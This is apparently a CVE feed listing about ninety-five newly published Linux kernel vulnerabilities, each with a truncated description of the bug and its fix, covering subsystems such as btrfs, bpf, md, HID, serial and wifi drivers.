CVE-2026-90256	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: use proto_lock for l2cap_data to fix l2cap_disconn_ind hci_conn::l2cap_data is accessed without locks in l2cap_disconn_ind via hci_conn_timeout (disc_work) -> hci_proto_disconn_ind -> l2cap_disconn_ind. This is UAF if the l2cap_conn is deleted concurrently. disc_work is disabled sync in...
CVE-2026-90257	New						In the Linux kernel, the following vulnerability has been resolved: Bluetooth: virtio_bt: avoid OOB read of build info string The virtbt_setup_zephyr() sends the Zephyr vendor command 0xfc08 (Read Build Information) and hands the response to bt_dev_info() and hci_set_fw_info() as a "%s" string starting at skb->data + 1, without checking the length. A backend that answers w...
CVE-2026-90258	New						In the Linux kernel, the following vulnerability has been resolved: pinctrl: airoha: add missed IRQ resource helpers Without hooking .irq_request_resources, gpiolib cannot set GPIOD_FLAG_USED_AS_IRQ. This breaks pin direction locking and can allow userspace or another driver to reconfigure an active IRQ pin as an output
CVE-2026-90259	New						In the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix a wrong length calculation in qgroup_free_reserved_data() In that function, we round down the start position and round up the ending position. But during the calculation of @len, we use "round_up(start + len, sectorsize)", which is the rounded up end position, not the rounded up length....
CVE-2026-90260	New						In the Linux kernel, the following vulnerability has been resolved: btrfs: zoned: don't clobber the extent buffer when zeroing it out On a zoned filesystem a freed-but-still-dirty tree block is written out as zeros (EXTENT_BUFFER_ZONED_ZEROOUT) only to keep the zone write pointer advancing. btree_csum_one_bio() implemented this by memzeroing the extent buffer's own folios ...
CVE-2026-90261	New						In the Linux kernel, the following vulnerability has been resolved: btrfs: zoned: flush active metadata block group at btree_writepages() start btree_writepages() writes the btree inode's dirty metadata in ascending logical address order. On a zoned filesystem only one metadata and one system block group is active for writing at a time, and check_bg_is_active() (via btrfs_...
CVE-2026-90262	New						In the Linux kernel, the following vulnerability has been resolved: btrfs: retry verity reads for not-uptodate Merkle folios btrfs_read_merkle_tree_page() can find a folio in the mapping that is not uptodate. After taking the folio lock, the current code treats that state as a read error and returns -EIO. That can make a previous transient read failure sticky. If the fa...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90263	New						In the Linux kernel, the following vulnerability has been resolved: btrfs: check if root is readonly when setting posix acl For a filesystem which has btrfs read-only property set to true, all write operations including acl and xattr should be denied. However, acl can still be set even if btrfs ro property is true. This happens because no function on the set_acl code path...
CVE-2026-90264	New						In the Linux kernel, the following vulnerability has been resolved: btrfs: always wait for ordered extents to avoid OE races [BUG] Syzbot reported a bug that there can be conflicting OEs for the same range: BTRFS critical (device loop4): panic in insert_ordered_extent:264: overlapping ordered extents, existing oe file_offset 16384 num_bytes 430080 flags 0x1089, new oe f...
CVE-2026-90265	New						In the Linux kernel, the following vulnerability has been resolved: btrfs: defrag: fix deadlock between defrag and delalloc space reservation While running fsstress with autodefrag and flushoncommit, hit a deadlock due to the fact that defrag reserves delalloc space while it's holding dirty and locked folios, besides the extent range lock. The stack traces are the followin...
CVE-2026-90266	New						In the Linux kernel, the following vulnerability has been resolved: btrfs: zoned: don't force read-only on transient -EAGAIN from reloc merge On a zoned FS, btrfs_delayed_refs_rsv_refill() returns -EAGAIN whenever the over-committed metadata plus the zone_unusable bytes exceeds the usable size in a metadata block-group to avoid heavy over-commit of metadata and early ENOSP...
CVE-2026-90267	New						In the Linux kernel, the following vulnerability has been resolved: scsi: sd: Fix special_vec mempool leak when scsi_alloc_sgtables() fails sd_set_special_bvec() allocates a special payload page for UNMAP and WRITE SAME commands. If scsi_alloc_sgtables() fails afterward in sd_setup_unmap_cmnd() or sd_setup_write_same{10,16}_cmnd(), the SCSI midlayer does not call uninit_co...
CVE-2026-90268	New						In the Linux kernel, the following vulnerability has been resolved: scsi: sd: Fix error handling in sd_probe() after large pool creation failure After device_add(&sd kp->disk_dev) succeeds, sd_large_pool_create() failure must unregister disk_dev and let scsi_disk_release() free sd kp. Going through out_free_index kfree()s an already registered device and leaks the sysfs entry.
CVE-2026-90269	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Reject load-acquire from pointers requiring fault protection A BPF_LOAD_ACQ is not rewritten to a BPF_PROBE_MEM load by the verifier, unlike a regular BPF_LDX, so the JIT emits a plain load with no exception table entry and a fault panics the kernel instead of being handled. Reject the source pointer...
CVE-2026-90270	New						In the Linux kernel, the following vulnerability has been resolved: arm_mmpam: Disable driver unbind to avoid UAF When a user unbinds an MSC and that MSC is the only MSC left for a component then the corresponding mpam_component will be freed. If the user then goes on to read the schemata file in the resctrl filesystem then the mpam_component will be accessed from resctrl_a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90271	New						In the Linux kernel, the following vulnerability has been resolved: arm_mpm: Fix a NULL pointer dereference on unbinding after an error interrupt If a user unbinds an MSC after mpm_disable() has been run in response to an error interrupt then a dereference of a NULL pointer occurs as mpm_disable() sets the drvdata to NULL. Add an early return to the driver remove callba...
CVE-2026-90272	New						In the Linux kernel, the following vulnerability has been resolved: perf: arm_pmu3: Zero initialize hw_id branch stack field PERF_SAMPLE_BRANCH_HW_INDEX is supported by BRBE so hw_id is passed to userspace, but it's never set by the BRBE driver. Zero initialize it as it should be according to the docs: * For the architectures whose raw branch records are * already ...
CVE-2026-90273	New						In the Linux kernel, the following vulnerability has been resolved: coresight: etm4x: missing cscfg_csdev_disable_active_config() in perf enable In the perf enable path, there are missing cases where cscfg_csdev_disable_active_config() is not called: - Branch broadcast is selected but not supported by the hardware - etm4_enable_hw() fails This can lead to a leak of c...
CVE-2026-90274	New						In the Linux kernel, the following vulnerability has been resolved: coresight: etm4x: fix underflow for usage of (nrseqstate - 1) According to IHI006H Embedded Trace Macrocell Architecture Specification[0], TRCSEQEVR<n> is implemented only when TRCIDR5.NUMSEQSTATE is 0b100, in which case n ranges from 0 to 2; otherwise, TRCIDR5.NUMSEQSTATE is 0b000. IOW, the number of usa...
CVE-2026-90275	New						In the Linux kernel, the following vulnerability has been resolved: md/raid1: don't set array_frozen in raid1_takeover() raid1_takeover() sets conf->array_frozen = 1 on the newly-allocated r1conf and nothing ever clears it, so every I/O to the array stalls permanently once _wait_barrier() sees it stuck at 1. This used to be harmless: level_store() called mddev_resume() ri...
CVE-2026-90276	New						In the Linux kernel, the following vulnerability has been resolved: md/md-llbitmap: stop daemon timer rearm on destroy llbitmap_destroy() deletes pending_timer before flushing md_llbitmap_io_wq. However, daemon_work can still be queued or running after the timer has been deleted, and the daemon path can arm pending_timer again when it finds dirty chunks that are not ready ...
CVE-2026-90277	New						In the Linux kernel, the following vulnerability has been resolved: md/md-llbitmap: prevent create failure bitmap UAF llbitmap_create() publishes mddev->bitmap before reading the bitmap superblock. This is needed because llbitmap_read_sb() can initialize a new bitmap and flush it through helpers that use mddev->bitmap. If llbitmap_read_sb() fails, the old cleanup dropped ...
CVE-2026-90278	New						In the Linux kernel, the following vulnerability has been resolved: md: wait for behind writes before destroying bitmap __md_stop() destroyed the bitmap before calling mddev_detach(). That made mddev_detach() skip bitmap_ops->wait_behind_writes(), because the bitmap was already disconnected from mddev. This was still safe for the legacy bitmap because bitmap_destroy() wai...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90279	New						In the Linux kernel, the following vulnerability has been resolved: md/raid5: round bitmap stripes with sector division raid5_bitmap_sector_map() aligns the array range to full RAID5 stripe widths before converting it to component sectors. That width is chunk_sectors multiplied by the number of data disks, and it is not always a power of two. Reproduce with a 4-disk RAID5...
CVE-2026-90280	New						In the Linux kernel, the following vulnerability has been resolved: phy: qcom: qmp-usb: Fix possible NULL-deref on early runtime suspend There is a small window where the runtime suspend callback may run after pm_runtime_enable() and before pm_runtime_forbid(). In this case, a crash occurs because runtime suspend/resume dereferences qmp->phy pointer, which is not yet initi...
CVE-2026-90281	New						In the Linux kernel, the following vulnerability has been resolved: phy: qcom: snps-femto-v2: Fix possible NULL-deref on early runtime suspend Runtime PM must be enabled before creating the PHY, since phy_create() only enables runtime PM on the PHY device if it is already enabled on this parent device. However, the runtime PM callbacks dereference the hsphy instance, which...
CVE-2026-90282	New						In the Linux kernel, the following vulnerability has been resolved: phy: qcom: qmp-usb-legacy: Fix possible NULL-deref on early runtime suspend There is a small window where the runtime suspend callback may run after pm_runtime_enable() and before pm_runtime_forbid(). In this case, a crash occurs because runtime suspend/resume dereferences qmp->phy pointer, which is not ye...
CVE-2026-90283	New						In the Linux kernel, the following vulnerability has been resolved: hugetlbfs: release subpool on fill_super failure hugetlbfs_fill_super() allocates a hugepage subpool when size or min_size mount options are specified. hugepage_new_subpool() may also reserve huge pages for min_size. If root dentry creation fails after the subpool is created, the failure path frees the s...
CVE-2026-90284	New						In the Linux kernel, the following vulnerability has been resolved: firmware_loader: do not queue completed sysfs fallback requests fw_load_sysfs_fallback() calls device_add() before adding the fw_priv to pending_fw_head. device_add() publishes the fallback loading interface, so a userspace helper which discovers the device by scanning sysfs can write 0 to the loading attr...
CVE-2026-90285	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Remove redundant VPD flash read in sysfs read path qla2x00_sysfs_read_vpd() called ha->isp_ops->read_optrom() a second time after releasing optrom_mutex. The repeated read is redundant and, unlike the first, runs without optrom_mutex held, exposing flash access to concurrent optrom operation...
CVE-2026-90286	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/gfx6: Use PFP on the compute queues too On GFX6, the compute rings use the same CP path as the graphics ring. The only difference is that they don't support draw commands. (As opposed to GFX7 and newer which have a separate command parser that is called MEC for compute queues.) This means that ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90287	New						In the Linux kernel, the following vulnerability has been resolved: phy: sunplus: fix error handling in sp_uphy_init() Fix the error paths of sp_uphy_init() to undo exactly what each stage did: return directly if clk_prepare_enable() fails, release only the clock if reset_control_deassert() fails, and jump to err_reset if update_disc_vol() fails so the clock and reset are ...
CVE-2026-90288	New						In the Linux kernel, the following vulnerability has been resolved: phy: renesas: rcar-gen2: Fix double of_node_put on phy creation failure for_each_child_of_node_scoped() releases the node reference on scope exit, so the explicit of_node_put(np) in the devm_phy_create() error path drops it twice. Drop the redundant of_node_put() and let the scoped cleanup handle it.
CVE-2026-90289	New						In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Resize MST HDCP per-connector arrays to 32 AMDGPU_DM_MAX_DISPLAY_INDEX is 31. It suggest a maximum number of 32 connectors. But the way it's used is like MAX_DISPLAY_COUNT. Hence we're off by one with DRM core, which supports a max of 32 connectors. Rename AMDGPU_DM_MAX_DISPLAY_INDEX to A...
CVE-2026-90290	New						In the Linux kernel, the following vulnerability has been resolved: arm64: hibernate: Restore DAIF state on error Sashiko AI has reported that if swsusp_mte_save_tags() for some reason fails we return from swsusp_arch_suspend() with DAIF being masked - that is not what we'd expect. Restore the saved DAIF state before returning from the error path.
CVE-2026-90291	New						In the Linux kernel, the following vulnerability has been resolved: module/dups: Fix use-after-free in kmod_dup_req lifetime handling The kmod dups code uses RCU to ensure that a kmod_dup_req instance is freed only after it is no longer referenced. When releasing an instance, the kmod_dup_request_delete() function removes the kmod_dup_req from the dup_kmod_reqs list, waits...
CVE-2026-90292	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/siw: Fix use-after-free in siw_accept() siw_accept() looks up the QP supplied by userspace. If that QP is already in RTS, the function jumps to error cleanup before associating the incoming CEP with it. The cleanup tests whether qp->cep is non-NULL and assumes the current call installed the associati...
CVE-2026-90293	New						In the Linux kernel, the following vulnerability has been resolved: IB/isert: post the full-feature receive buffers after session registration isert_put_login_tx() posts the full-feature receive buffers before __transport_register_session() runs, so an initiator that does not wait for the final Login Response can still have a SCSI command executed against an se_session who...
CVE-2026-90294	New						In the Linux kernel, the following vulnerability has been resolved: IB/isert: delay the final Login Response until the session is registered isert_put_login_tx() puts the final Login Response on the wire before __transport_register_session(), which iscsi_post_login_handler() reaches only after iscsi_target_do_login() returns. An initiator that issues a SCSI command as soo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90295	New						In the Linux kernel, the following vulnerability has been resolved: cpufreq: imx6q: fix out-of-bounds write when probed more than once imx6_soc_volt is allocated fresh on every probe, sized to the number of ARM OPPs: imx6_soc_volt = devm_kcalloc(cpu_dev, num, sizeof(*imx6_soc_volt), GFP_KERNEL); but it is filled through soc_opp_count, which has static storage a...
CVE-2026-90296	New						In the Linux kernel, the following vulnerability has been resolved: cpufreq: imx6q: fix devres accumulation across driver rebind imx6_soc_volt is allocated with devm_kcalloc(cpu_dev, ...), where cpu_dev is the CPU device from get_cpu_device(0). That device is never unbound, so its devres list is never released, and imx6q_cpufreq_remove() does not free the array either. Eve...
CVE-2026-90297	New						In the Linux kernel, the following vulnerability has been resolved: drm/sun4i: crtc: Propagate layer initialization error sun4i_crtc_init() returns plain NULL when layer initialization fails, while all its other error paths return an error pointer. The only caller, sun4i_tcon_bind(), checks the result with IS_ERR() and happily continues with tcon->crtc set to NULL. sun4i_r...
CVE-2026-90298	New						In the Linux kernel, the following vulnerability has been resolved: drm/sun4i: tcon: Drop TCON TOP device reference of_find_device_by_node() takes a device reference. Drop it after mux configuration succeeds.
CVE-2026-90299	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix sleepable check for tracing/lsm prog When CONFIG_FUNCTION_ERROR_INJECTION is disabled, a sleepable tracing prog is allowed to attach to '__x64_'-alike prefix symbols. It is because the verifier does not verify whether the symbol is a kernel function or a bpf prog. That said, a sleepable tracing p...
CVE-2026-90300	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Clear buf on error in __bpf_get_task_stack Both bpf_get_task_stack and bpf_get_task_stack_sleepable helpers that use __bpf_get_task_stack have buf defined as ARG_PTR_TO_UNINIT_MEM argument and we should initialize the buf on every return path. Adding missing buf memset for __bpf_get_task_stack fail p...
CVE-2026-90301	New						In the Linux kernel, the following vulnerability has been resolved: ocfs2: o2hb: quiesce negotiate handlers and timeout work Heartbeat regions publish struct o2hb_region as the private data for the NEGOTIMEOUT and NEGOTAPPROVE o2net handlers as soon as make_item() creates the configs region. The approve handler can call o2hb_arm_timeout(), so a peer can touch the region...
CVE-2026-90302	New						In the Linux kernel, the following vulnerability has been resolved: ocfs2: synchronize heartbeat callbacks with o2net teardown Patch series "ocfs2: harden heartbeat teardown races". This series fixes two OCFS2 heartbeat/o2net teardown races found by KASAN. This patch (of 2): Heartbeat callbacks stay registered while configs local-node teardown enters o2net_stop_listen...
CVE-2026-90303	New						In the Linux kernel, the following vulnerability has been resolved: ARM: 9485/1: mm: acquire mmap write lock around show_pte() for user faults When CONFIG_DEBUG_USER=y, and cmdline "user_debug=31" is set, a user fault may trigger show_pte() without any lock. If another thread in the same process concurrently calls munmap(), the page table pages may be freed while show_pte(...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90304	New						In the Linux kernel, the following vulnerability has been resolved: ARM: 9484/1: enable interrupts when unhandled user faults are triggered PREEMPT_RT requires interrupts to be enabled when sending signals. When do_DataAbort()/do_PrefetchAbort() triggers unhandled user faults, that is `inf->fn()` return a non-zero value, and the interrupts are not enabled within the hook ...
CVE-2026-90305	New						In the Linux kernel, the following vulnerability has been resolved: ARM: 9483/1: select HAVE_POSIX_CPU_TIMERS_TASK_WORK Commit c6e61c06d606 ("ARM: 9463/1: Allow to enable RT") enabled PREEMPT_RT on ARM but did not select HAVE_POSIX_CPU_TIMERS_TASK_WORK. This leaves CONFIG_POSIX_CPU_TIMERS_TASK_WORK disabled, so CPU timers expire in hard IRQ context. On PREEMPT_RT this mak...
CVE-2026-90306	New						In the Linux kernel, the following vulnerability has been resolved: ARM: 9481/2: breakpoint: CFI breakpoints only on demand This removes the stub hw_breakpoint_cfi_handler() from ARM, making it not steal breakpoint type 0x03 (ARM_ENTRY_CFI_BREAKPOINT) unless CFI is actively used in the kernel. When not instrumenting with CFI, or when a breakpoint is issued in userspace, w...
CVE-2026-90307	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/srp: fix heap information leak on a truncated SRP_CRED_REQ srp_rcv_done() passes wc->byte_len to srp_process_rsp(). It passes nothing to srp_process_cred_req() and srp_process_aer_req(), which read fixed-size fields from the receive buffer without checking that those fields were received. The buffer...
CVE-2026-90308	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/erdma: Hold QP references for AE and CM processing AE QP fatal events and iWARP CM paths load QPs from dev->qp_xa and then use or reference them outside the xarray lock. erdma_destroy_qp() can drop the destroy-path reference and free QP resources while such a lookup is in flight. Add erdma_qp_get_by_...
CVE-2026-90309	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/erdma: Hold CQ references when processing EQ events EQ handlers look up CQs from dev->cq_xa and invoke CQ completion or error callbacks outside the xarray lock. erdma_destroy_cq() can erase the CQ from the xarray and free its queue buffer and doorbell record while a previously scheduled EQ handler is ...
CVE-2026-90310	New						In the Linux kernel, the following vulnerability has been resolved: xen/xenbus: check otherend_id only after it has been initialized When device just got initialized (for example on module load), the otherend_id field is initialized only after xenbus_read_otherend_details() gets called. If xenstore watch triggers xenbus_dev_changed() before that, it might consider still ze...
CVE-2026-90311	New						In the Linux kernel, the following vulnerability has been resolved: thermal: hwmon: Remove hwmon class device along with its parent The current code creates one hwmon device per thermal zone type and that device is registered under the first thermal zone of the given type. That turns out to be problematic when the thermal zone holding the hwmon device is removed. For exa...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90312	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Check load-acquire src ptr type before the load check_atomic_load() calls check_load_mem() before atomic_ptr_type_ok(). For a load-acquire that fetches into its own source register (dst_reg == src_reg), check_load_mem() overwrites src_reg's type with the type of the loaded value, so the subsequent ato...
CVE-2026-90313	New						In the Linux kernel, the following vulnerability has been resolved: bpf, cgroup: Fix invalid storage access after __cgroup_bpf_attach failed A potential invalid storage access issue can occur after replacing a cgroup bpf prog. This occurs in the following scenario: 1. prog1 with storage is attached to a cgroup in multi-attach mode. 2. prog1 is replaced with prog2 using BP...
CVE-2026-90314	New						In the Linux kernel, the following vulnerability has been resolved: remoteproc: fix OOB read via signed offset in rsc_table_for_each_entry() table->offset[i] is a u32 from firmware, but was stored into a signed int. A crafted offset like 0xFFFFFFFF0 becomes -16, placing hdr 16 bytes before the table buffer. The subsequent avail check was bypassed because the negative int ...
CVE-2026-90315	New						In the Linux kernel, the following vulnerability has been resolved: PCI/sysfs: Add lockdown checks to legacy I/O and memory handlers Currently, the legacy I/O and memory sysfs handlers do not check security_locked_down(LOCKDOWN_PCI_ACCESS), leaving the legacy_io and legacy_mem files unprotected when the kernel is locked down. Commit eb627e17727e ("PCI: Lock down BAR acces...
CVE-2026-90316	New						In the Linux kernel, the following vulnerability has been resolved: drm/omap: dsi: Do not copy isr table To be able to unregister stuff from isrs, the corresponding table was copied. Nobody seems to unregister stuff that way, so it does not help. But there are stack-allocated objects passed to these isrs giving chances of UAF of these objects if irqs are unregistered whil...
CVE-2026-90317	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Invalidate RCU pointers after final spin unlock In a sleepable BPF program, a spin lock can provide the only RCU protection for a kptr. The final bpf_spin_unlock() ends that protection, but the verifier leaves the pointer valid. Another CPU can then free the object before the pointer is used. A capabi...
CVE-2026-90318	New						In the Linux kernel, the following vulnerability has been resolved: fat: release buffer head after rebuilding parent fat_scan_logstart() leaves the matching directory entry's buffer head in sinfo.bh for the caller to release, just like fat_scan(). fat_rebuild_parent() uses the directory entry to rebuild the parent inode for the nostale_ro NFS export path, but does not rel...
CVE-2026-90319	New						In the Linux kernel, the following vulnerability has been resolved: rapidio: clear mport->net when rio_add_net() fails rio_alloc_net() stores the newly allocated rio_net in mport->net before rio_scan_alloc_net() registers the device. If rio_add_net() fails, rio_scan_alloc_net() drops the device reference with put_device(), which releases the rio_net through the device rel...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90320	New						In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate external xattr entries when reading metadata ocfs2_validate_xattr_block() checks the xattr block header before the block reaches higher-level xattr users, but it does not verify that a non-indexed block's xh_count and entry offsets fit inside the block. Indexed buckets likewise reach list/...
CVE-2026-90321	New						In the Linux kernel, the following vulnerability has been resolved: ocfs2: validate inline xattrs during inode block validation Patch series "ocfs2: validate xattr entry bounds", v7. This series validates OCFS2 xattr entry name/value bounds when xattr metadata is read and validated, before getxattr() or listxattr() can walk out-of-range entry arrays or offsets from corrup...
CVE-2026-90322	New						In the Linux kernel, the following vulnerability has been resolved: ocfs2/cluster: keep heartbeat local node stable o2nm_node_local_store() handles local=0 by stopping o2net and setting cl_local_node to O2NM_INVALID_NODE_NUM, but it leaves cl_has_local set. That stale state makes o2nm_this_node() return 255, blocks a later local=1 attempt with -EBUSY, and can feed 255 to ...
CVE-2026-90323	New						In the Linux kernel, the following vulnerability has been resolved: ublk: validate auto buf reg before taking uring_cmd With UBLK_F_AUTO_BUF_REG, invalid sqe->addr can fail after ublk_fill_io_cmd() has set UBLK_IO_FLAG_ACTIVE. The uring_cmd is completed while the tag stays active, which can hang teardown. Split validation from buffer apply so the check has no side effects...
CVE-2026-90324	New						In the Linux kernel, the following vulnerability has been resolved: ublk: check import_ubuf() return value import_ubuf() can fail if the address range (provided by the userspace ublk server) is outside the allowed user address space. Return that 0 bytes were copied if import_ubuf() fails rather than passing an uninitialized struct iov_iter to ublk_copy_user_pages().
CVE-2026-90325	New						In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: skip dying blkcg in blkcg_activate_policy() When switching IO schedulers on a block device, blkcg_activate_policy() can race with concurrent blkcg deletion, leading to a use-after-free in rcu_accelerate_cbs. T1: T2: blkcg_destroy ...
CVE-2026-90326	New						In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: fix race between policy activation and blkcg destruction When switching an IO scheduler on a block device, blkcg_activate_policy() allocates blkcg_policy_data (pd) for all blkgs attached to the queue. However, blkcg_activate_policy() may race with concurrent blkcg deletion, leading to use-after-f...
CVE-2026-90327	New						In the Linux kernel, the following vulnerability has been resolved: phonet: pep: do not write beyond optlen in getsockopt pep_getsockopt() clamps the reported length to the caller's buffer with min_t(), but then stores the value with put_user(val, (int __user *) optval), which always writes sizeof(int) bytes. A getsockopt() call with an optlen smaller than sizeof(int) thus...
CVE-2026-90328	New						In the Linux kernel, the following vulnerability has been resolved: HID: steam: Reject short reads Steam Controller FEATURE reports encode the size of the message in the message itself. Previously we were trusting that the size reported matched the size we actually read, leading to a potential issue with short reads. Instead, we should actually verify the length of the read.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90329	New						In the Linux kernel, the following vulnerability has been resolved: HID: synchronize input before cleaning up a failed probe hid_device_io_start() allows reports to run concurrently with probe. If the probe subsequently fails, __hid_device_probe() releases driver resources and clears hdev->driver without first excluding those report callbacks. For example, a report may en...
CVE-2026-90330	New						In the Linux kernel, the following vulnerability has been resolved: HID: logitech-hidpp: Fix FF device cleanup on init failure hidpp_ff_init() creates the input force-feedback device with input_ff_create(), then allocates the HID++ FF private data, effect ID array, and workqueue. If any of those allocations fail after input_ff_create() succeeds, the function returns an er...
CVE-2026-90331	New						In the Linux kernel, the following vulnerability has been resolved: HID: asus: refactor the two workqueues and init sequence Multiple issues have been found within the hid-asus driver: - unchecked size in asus_raw_event() - unclean teardown of asus_probe on failure - possible use-after-free in asus_probe - multiple workqueue used for jobs where one was enough - sleeping ca...
CVE-2026-90332	New						In the Linux kernel, the following vulnerability has been resolved: PCI: dwc: ep: Flush cached MSI write before unmapping the iATU The MSI-X path already flushes any posted MSI-X write before tearing down its iATU mapping. That was added by commit c22533c66cca ("PCI: dwc: ep: Flush MSI-X write before unmapping its ATU entry") to make sure the write reaches the Root Complex...
CVE-2026-90333	New						In the Linux kernel, the following vulnerability has been resolved: dm-integrity: replace forgeable discard filler with a keyed sector marker The discard-block check in dm_integrity_rw_tag() treats a stored tag of all 0xf6 bytes (DISCARD_FILLER) as proof a block was discarded and skips HMAC verification. allow_discards is only accepted in dm-integrity's standalone mode. An...
CVE-2026-90334	New						In the Linux kernel, the following vulnerability has been resolved: tty: clear cdev pointer after cdev_add() failure tty_cdev_add() drops the cdev reference when cdev_add() fails, but leaves driver->cdevs[index] pointing to freed memory. tty_unregister_device() later passes that stale pointer to cdev_del(), causing a use-after-free. Clear the slot after dropping the refer...
CVE-2026-90335	New						In the Linux kernel, the following vulnerability has been resolved: tty: skip cdev_del() when no cdev is registered TTY device registration can fail before a cdev is allocated. Serial core keeps the port so setserial can still use it, and later removal passes the NULL cdev slot to cdev_del(), causing a NULL-pointer dereference. Only delete the cdev when the slot is not NULL.
CVE-2026-90336	New						In the Linux kernel, the following vulnerability has been resolved: serial: core: clear freed pointers on uart_register_driver() failure uart_register_driver() leaves drv->state pointing to freed memory when tty_alloc_driver() fails. If tty_register_driver() fails, drv->tty_driver also retains a pointer after its reference is dropped. Drivers that use drv->state as an "al...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90337	New						In the Linux kernel, the following vulnerability has been resolved: serial: core: do fallible allocations before the console can be registered serial_core_add_one_port() allocates uport->tty_groups after uart_configure_port(), which may register the console. If the allocation fails, the driver unwinds the port while its console remains registered. The earlier uport->name a...
CVE-2026-90338	New						In the Linux kernel, the following vulnerability has been resolved: serial: amba-pl011: keep console clock enabled for atomic writes pl011_console_write_atomic() runs from nbcon atomic context, where sleeping is not allowed. It calls clk_enable(), which takes the common-clk enable_lock. Under PREEMPT_RT that is a sleeping lock: clk_enable_lock() first tries spin_trylock_ir...
CVE-2026-90339	New						In the Linux kernel, the following vulnerability has been resolved: powerpc/syscall: Fix syscall skip handling for seccomp and ptrace After enabling GENERIC_ENTRY on PowerPC, syscall_enter_from_user_mode() returns -1 as a sentinel to signal that seccomp or ptrace has intercepted the syscall and already set a return value via syscall_set_return_value(). system_call_exceptio...
CVE-2026-90340	New						In the Linux kernel, the following vulnerability has been resolved: pinctrl: generic: free maps on pinctrl_generic_to_map() failure pinctrl_generic_to_map() parses DT configuration and allocates pinctrl maps via pinctrl_utils_reserve_map(). If subsequent steps (such as pinctrl_utils_add_map_mux(), pinctrl_generic_add_group(), pinconf_generic_parse_dt_config(), or pinctrl_...
CVE-2026-90341	New						In the Linux kernel, the following vulnerability has been resolved: firmware: coreboot: Validate table bounds The existing coreboot_table_populate() bounds checks limit individual entries to the mapped length. However, coreboot_table_probe() replaces the platform resource length with header and table sizes supplied by firmware before mapping the full table. A malformed t...
CVE-2026-90342	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix mmap_lock deadlock on arena lock failure Reported by the Sashiko AI review. arena_vm_fault() returns VM_FAULT_RETRY when it can't take arena->spinlock, but it never took mmap_lock. The fault path assumes a VM_FAULT_RETRY handler already dropped mmap_lock and re-takes it on the retry, so mmap_lock...
CVE-2026-90343	New						In the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: stop PMSR before P2P and NAN teardown PMSR request teardown must abort active measurements while the wireless_dev is still present in the driver. cfg80211_leave_locked() and cfg80211_stop_pd() already do this before invoking the driver's stop callback, but cfg80211_stop_p2p_device() and cfg...
CVE-2026-90344	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: disconnect on CSA to channel 0 The refactor for the CSA parsing erroneously equates channel zero and no information present, leading it to ignore a CSA on an AP that advertises a switch to that (invalid) channel. This leads to not disconnecting, which we should. For Intel devices, this can ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90345	New						In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: fix P2P action frame handling without device vif Some P2P action frame paths assume the P2P device vif is always available. That is not true when userspace sends non-P2P public action frames through the primary interface, or when action-frame abort runs after the P2P device vif has not been...
CVE-2026-90346	New						In the Linux kernel, the following vulnerability has been resolved: wifi: nl80211: clean up color-change beacon data on errors nl80211_color_change() calls nl80211_parse_beacon() for the beacon_next template, which can allocate params.beacon_next.mbssid_ies and .rnr_ies. A parsing failure returned directly instead of using the out: cleanup, leaking any allocations complete...
CVE-2026-90347	New						In the Linux kernel, the following vulnerability has been resolved: arm64: ptrace: Keep 'orig_x0' in-sync with x0 on syscall entry Commit e057b9477232 ("arm64: syscall: Ensure saved x0 is kept in-sync with tracer updates") attempted to resolve a long-standing issue with syscall entry tracing, where a tracer is able to manipulate the first syscall argument without being sub...
CVE-2026-90348	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath10k: snoc: use memcpy_fromio() for MSA ramdump On WCN3990/SNOC the MSA region is mapped with devm_memremap(MEMREMAP_WT). On arm64 such a mapping is not Normal-cacheable, so unaligned accesses to it are not permitted. ath10k_msa_dump_memory() copies the region with a plain memcpy(), whose optimized...
CVE-2026-90349	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7996: fix out-of-bounds link array access in mt7996_tx() When mac80211 leaves the link unspecified, mt7996_tx() substitutes the primary link id of the station or vif. That value is IEEE80211_LINK_UNSPECIFIED (0xf) until the first link has been added, and it is then used unchecked to index vif...
CVE-2026-90350	New						In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: reject out-of-range link ids in mt76_vif_link() mt76_vif_link() indexes mvif->link[] without validating link_id, but callers pass mvif->deflink_id / msta->deflink_id, which hold IEEE80211_LINK_UNSPECIFIED (0xf) until the first link has been added. Since IEEE80211_MLD_MAX_NUM_LINKS is 15, that r...
